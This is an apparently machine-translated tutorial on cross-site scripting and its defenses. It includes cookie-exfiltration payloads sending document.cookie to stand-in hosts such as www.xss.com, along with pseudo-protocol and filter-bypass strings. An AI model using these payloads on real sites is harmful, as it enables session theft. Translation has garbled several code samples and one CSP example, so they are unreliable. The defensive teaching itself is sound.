Continuously updated…
preface
In the era of the Internet of everything, data security and personal privacy are facing unprecedented challenges, and various offensive and defensive strategies emerge one after another. It is urgent to understand the underlying principles of offensive and defensive. This paper aims to summarize the problems encountered in daily development, and form a good application of security attack and defense system by constantly supplementing the knowledge of security attack and defense.
XSS (Cross-Site Scripting)
XSS refers to cross-site scripting attacks, called XSS because the abbreviation overlaps with CSS.
-
Principle:
- An attacker inserts malicious executable code (HTML tag or JavaScript script) into a Web page, and the embedded malicious code will be executed when the user browses the page, so as to achieve the purpose of stealing user information or displaying malicious fraudulent user information on the page.
XSS classification
XSS can be divided into three categories according to the delivery mode of malicious scripts:
- Reflective (non-persistent)
- Storage (persistent)
- The DOM model
The previous two types of malicious scripts pass through the server and then return to the client. Compared with DOM type, it is easier to detect and defend against malicious scripts. DOM type does not need to transmit malicious scripts to the server and return to the client, but only needs to execute malicious codes directly on the client to achieve the purpose.
DOM-XSS
Know what DOM is before you get to DOM-XSS, because DOM-XSS is based on the DOM to manipulate attacks.
DOM refers to the Document Object Model, which is the programming interface for HTML and XML documents. DOM essentially parses a document into a structured collection of nodes and objects (objects that contain properties and methods), known as a NodeTree.
To a browser, a DOM document is just an XML document, and when the W3C regulates the DOM standard, element can be easily accessed using the DOM API through JavaScript.
The principle of
Inject malicious code into the client through the URL. This is mainly done by inducing users to visit urls of their own construction. When DOM-XSS was tested in 2020, it was found that the latest versions of modern browsers are basically immune to alignment.
The advantage of DOM – XSS
- Avoid WAF (Website application-level Intrusion Prevention system) : Attackers directly set the content of URL anchor (#) through location.hash, so that JS can read the parameter, and avoid the parameter after # to the server, so as to avoid WAF detection. Location. search can also be found in? Then set the parameters to achieve the effect of #.
- Unlimited length: The attack code length is unlimited
- Strong concealment: attack code can be concealed and persistent. Dom-xss, for example, which uses cookies and localStorage as attack points, can be very difficult to detect and can last a long time.
Common scenarios
innerHTML|outerHTML
For scenarios where you need to insert DOM elements, when you get the source code to execute malicious code, type < SVG /onload=alert(1)> in the input box.
With innerHTML | outerHTML type and the document. The write (), the document. The URL. The indexOf (” id = “). IndexOf takes the parameters in the URL and outputs them to HTML via writeln() or write(), resulting in XSS.
-
Principle: through to the innerHTML | outerHTML inserted into the malicious code
-
Scenario case: Get the input element content and insert it into the DOM
<div id="box"></div>
<input type="text" id="inp" />
<input id="btn" type="button" value="Send message" name="" />
<img src="http:www.xxx.com/xx.jpg" onload="http://www.hack.com/?cookie=xxx" onerror="while(true){console.log(1)}" />
<script>
var box = document.querySelector('#box'),
inp = document.querySelector('#inp'),
btn = document.querySelector('#btn');
btn.addEventListener('click'.function () {
var msg = Date.now() + ':' + inp.value + '<br>';
box.innerHTML = box.innerHTML + msg;
});
// document.write();
var hash = location.search.slice(1);
document.write(hash);
</script>
Copy the code
When normal text is entered, the DOM is displayed normally. For example, if you enter Hello World, box displays Hello World.
When malicious codes are entered, user data may be stolen or programs may crash, for example:
Enter: < SVG /onload=alert(1)> The browser will display an alert(1) popover enter: <img src="http:www.xxx.com/xx.jpg" onload="http://www.hack.com/?cookie=xxx" onerror="while(true){console.log(1)}" /> If the image load fails, the browser will crash in an endless loop, and if the image load succeeds, the user's cookie will be stolenCopy the code
Fortunately, modern browsers have become immune to such actions due to technological advances, but Internet Explorer is still stuck and cannot protect itself against actions like the one above, so developers need to take care.
- Defense:
- For the content of the input character escaping, the safest way to do the most basic also should undertake encodeURIComponent | decodeURIComponent processing.
- For the use of
innerHTML|outerHTML
The simplest is to useinnerText|outerText
Instead of
// Share a common JavaScript character escape
/** * is used in the text input field to replace the symbol with the escape character *@param {String} str* /
export const escapeHTML = (str) = >
str.replace(
/[&<>'"]/g.(tag) = >
({
'&': '& '.'<': '< '.'>': '> '."'": '& # 39; '.'"': '" ',
}[tag] || tag)
);
/** * is used in the text input field to replace the symbol with the escape character *@param {String} str* /
export const unescapeHTML = (str) = >
str.replace(
/& |< |> | & # 39; |" /g.(tag) = >
({
'& ': '&'.'< ': '<'.'> ': '>'.'& # 39; ': "'".'" ': '"',
}[tag] || tag)
);
Copy the code
Data is stored
To fetch data from localStorage, SessioinStorage, and cookies, developers often assume that the values obtained from the above databases are safe, so they ignore the processing of the values.
-
Principle: attackers take advantage of developers forget to localStorage, SessioinStorage, cookies in the value of the data processing vulnerability, in its setting is injected malicious code, to the account in the next time to obtain the value and assign the value of security risks.
-
Scenario case: Data injection
<div id="storage">storage:</div>
<input type="text" id="inp" />
<input id="btnStorage" type="button" value="storage" name="" />
<script>
var storage = document.querySelector('#storage'),
inp = document.querySelector('#inp'),
btnStorage = document.querySelector('#btnStorage');
btnStorage.addEventListener('click'.function () {
var msg = inp.value + '<br>';
localStorage.setItem('name', msg);
box.innerHTML = localStorage.name;
});
</script>
Copy the code
It can be seen that as long as the attacker sets malicious codes in the fields of localStorage, SessioinStorage and cookies of the web page, it can be attacked when accessing the value next time. Therefore, it is recommended to do character escape processing for the content when setting or obtaining the value. In addition, document.referrer, window.name and postMessage are all worthy of attention, and also easy to cause Dom XSS. The trigger point is different, and the Document. referrer may need to be triggered from the previous page/above URL.
- Defense:
- For similar
localStorage
,SessioinStorage
,cookies
Set and get the value ofCharacter escape processing
.
- For similar
Reflective (non-persistent) XSS
Non-persistent XSS vulnerability is generally through sending a URL with malicious script code parameters to others. When the URL address is opened and the parameters are assigned to be executed, the malicious code will be parsed and executed by HTML.
The principle of
After the URL with malicious code parameters is clicked by the user, the user data is stolen by malicious code.
Characteristics of the
- Real-time, no server storage, direct HTTP GET and POST requests can complete an attack, GET user privacy data.
- The attacker needs to trick clicks, which must be initiated by the user clicking on the link
- The feedback rate is low, so it is difficult to find and timely respond to repair
defense
- Avoid rendering data directly from DOM apis such as URLS, document.referrer, document.forms, etc.
- Avoid eval(), new Function(), document.write(), document.writeln(), window.setinterval (), window.settimeout (), innerHTML, Methods such as document.createElement() that execute strings.
- The content rendered on the Web page needs to be escaped by character encoding.
Common scenarios
Page jump
- JavaScript to achieve the jump:
- location.replace()
- location.href=xxx
- location.assign()
When you see that a page jump can cause DOM-XSS, you feel a little confused. In normal cases, some parameters after hash are controllable. When an attacker uses a pseudo protocol on the URL, the hash parameter is not transmitted to the server, thus avoiding WAF detection. In this case, malicious steps with pseudo protocol are executed in the browser. In order to achieve the purpose of attack.
Common pseudo-protocols include javascript:, VBScript: and data:. Now mobile devices (Android and ios) can customize this protocol and sechME opens native apps from the browser.
-
Principle: Malicious code is written by setting pseudo protocol after hash. This code is triggered when the user calls the location method using hash parameters to jump operations.
-
Scenario: Redirect parameters from the hash through location
var hash = location.hash;
if (hash) {
var url = hash.substring(1);
location.href = url;
}
Alert (1) pops up when #javascript:alert(1) is set to the HASH of the URL
#vbscript:msgbox(IE)
// data: format: #data:text/ HTML; base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
// #javascript:(location.href=http://www.baidu.com); The browser jumps to Baidu
Copy the code
In the case of using URL parameters or input/textarea content to realize the jump, the content must be regularized to determine whether it is valid HTTP (s). Also remember to use indexOf to determine whether HTTP (s) is valid, because indexOf can be circumvented with a minor modification of javascript:alert(1)//http://cos.top15.cn.
- defense
- Use the re to match the content that needs location jump to determine whether the content is valid HTTP (s)
- Note the regular metacharacters
^
No, it’s no different than an indexOf match
- Note the regular metacharacters
- Use the re to match the content that needs location jump to determine whether the content is valid HTTP (s)
/** * Verify valid HTTPS (or IP) *@param { string } value* /
export const isHttp = (value) = > /^((ht|f)tps? : \ \ / / /).test(value);
/* * Error examples: * URL construct javascript:alert(1)//http://www.baidu.con can bypass judgment */
var t = location.search.slice(1); // the variable t is in the url? The rest of it
if (t.indexOf('url=') > -1 && t.indexOf('http') > -1) {
// Qualify the keywords to be passed in the URL with indexOf
var pos = t.indexOf('url=') + 4; // cut back
url = t.slice(pos, t.length);
location.href = url; / / jump
}
Copy the code
eval()
Use eval() to declare variables or functions from user-controlled parameters.
-
How it works: Attackers use eval to inject malicious steps, taking advantage of the fact that the eval() function will execute the string as if it were JavaScript code.
-
Scenario case: Eval () injection
eval("var x = '" + location.search + "'");
console.log('eval() get: '.JSON.stringify(x));
Copy the code
- Defense:
- Avoid eval()
Storage (persistent) XSS
Stored XSS is the most dangerous type of cross-site script because it does not require manual triggering by the user and is more inside-out than reflective and DOM XSS and therefore more harmful.
All web programs that allow users to store data may have stored XSS vulnerability. When an attacker submits a piece of XSS malicious code, the client does not escape it, and it is received by the server and stored in the database, when a user accesses a page that needs to load data containing malicious code, the user will be attacked by XSS. If the target is the background server or database, the website service will break down or the risk of user data leakage.
The principle of
After discovering stored XSS, the attacker sends malicious code to the database and saves it. The next time the user browses the corresponding page, the XSS attack is generated and user data is obtained.
Attack establishment conditions:
- Submit form data through HTTP requests without character escaping directly into the library.
- Data retrieved from the database is output directly to the front end without character escape.
- The front-end takes the data and renders it directly into the DOM without character escaping.
Characteristics of the
- Persistence, malicious code embedded in the database.
- Wide range, for all users, access to the designated page can steal users sensitive private information.
- Interactivity is strong, oriented to submit the form class function, and the front and back end did not do character escape to data when storing value.
defense
Set the HttpOnly
The server sets the HttpOnly attribute in the cookie during the request. After setting the HttpOnly attribute, the JS script cannot read the cookie information, which is the most effective defense means to prevent THE XSS attack from stealing user cookies.
// koa
ctx.cookies.set(name, value, {
httpOnly: true.// Defaults to true
});
Copy the code
Filtering data sources
Not only is the front end responsible, but the back end does the same filtering check.
-
Check input formats, such as email, phone number, username, password… Etc., input in accordance with the specified format.
-
Escape character
-
HtmlEncode: In some cases, the user data cannot be strictly filtered and labels need to be converted.
less-than character(<)
into<
greater-than character(>)
into>
ampersand character(&)
into&
double-quote character(")
into"
space character( )
into
Any ASCll code character whose code greater-than or equal to 0x80
into&#<number>,when <number> is the ASCll character value
<! -- if user input --> <script> window.location.href = 'http://www.baidu.com'; </script> <! Save the result after escaping --> <! When rendered, the browser converts these characters into text rather than executable code. --> <script>window.location.href="http://www.baidu.com"</script> Copy the code
-
JavaScriptEncode: to escape special meaning characters with a backslash, such as:
"
Escape to\"
'
Escape to\ '
\
Escape to\ \ '
\n
Escape to\\n'
\r
Escape to\\r'
-
CSP
Content-security-policy (CSP) essentially creates a whitelist of actions allowed by the browser. The developer explicitly tells the browser which external resources can be loaded and executed. We just need to configure the rules, how to intercept is up to the browser implementation. We can minimize XSS attacks in this way, but we need to use the CSP version of vuejs when building websites with vuejs because CSP naturally disables the use of eval(), with(){}.
CSP can usually be turned on in two ways:
- The HTTP Header is set to Content-security-policy
- The HTML head sets the meta tag
For HTTP headers, you need to configure the following content for the page:
Only site resources are allowed to be loaded
Content-Security-Policy: default-src 'self'
Copy the code
Only HTTPS images can be loaded
Content-Security-Policy: img-src https://\*
Copy the code
Allows loading of any source framework
Content-Security-Policy: child-src 'none'
Copy the code
Common feeling”
Message board
To the message board input malicious code to submit the database of the large server, refresh the message board can execute malicious code.
<! Malicious code -->
<script>
var img = document.createElement('img');
img.src = 'http://www.xss.com?cookie=' + document.cookie;
img.style.display = 'none';
document.getElementsByTagName('body') [0].appendChild(img);
</script>
Copy the code
The user’s login credentials are stored in the server’s session, and the browser’s cookies are also stored in backup. If the attacker can obtain the Cookie of the user’s login credentials, he can bypass the login process to access the user’s account.
CSRF
Cross-site Request Forgeries (CSRF) is also called one-click attack or Session riding. It uses the user has logged in identity, in the user’s knowledge, to complete some things against the user’s will, such as: modify user information, delete initial comments and so on.
To be updated
If you like this article, please like it. (^_−
Reference documentation
- MDN-HTTP cookies
- MDN-Document Object Model
- MDN-eval()
- MDN-Content-Security-Policy
- XSS of security attack and defense
- Introduction to the Dom Xss
- Principle and Defense of DOM-XSS attack
Copy the code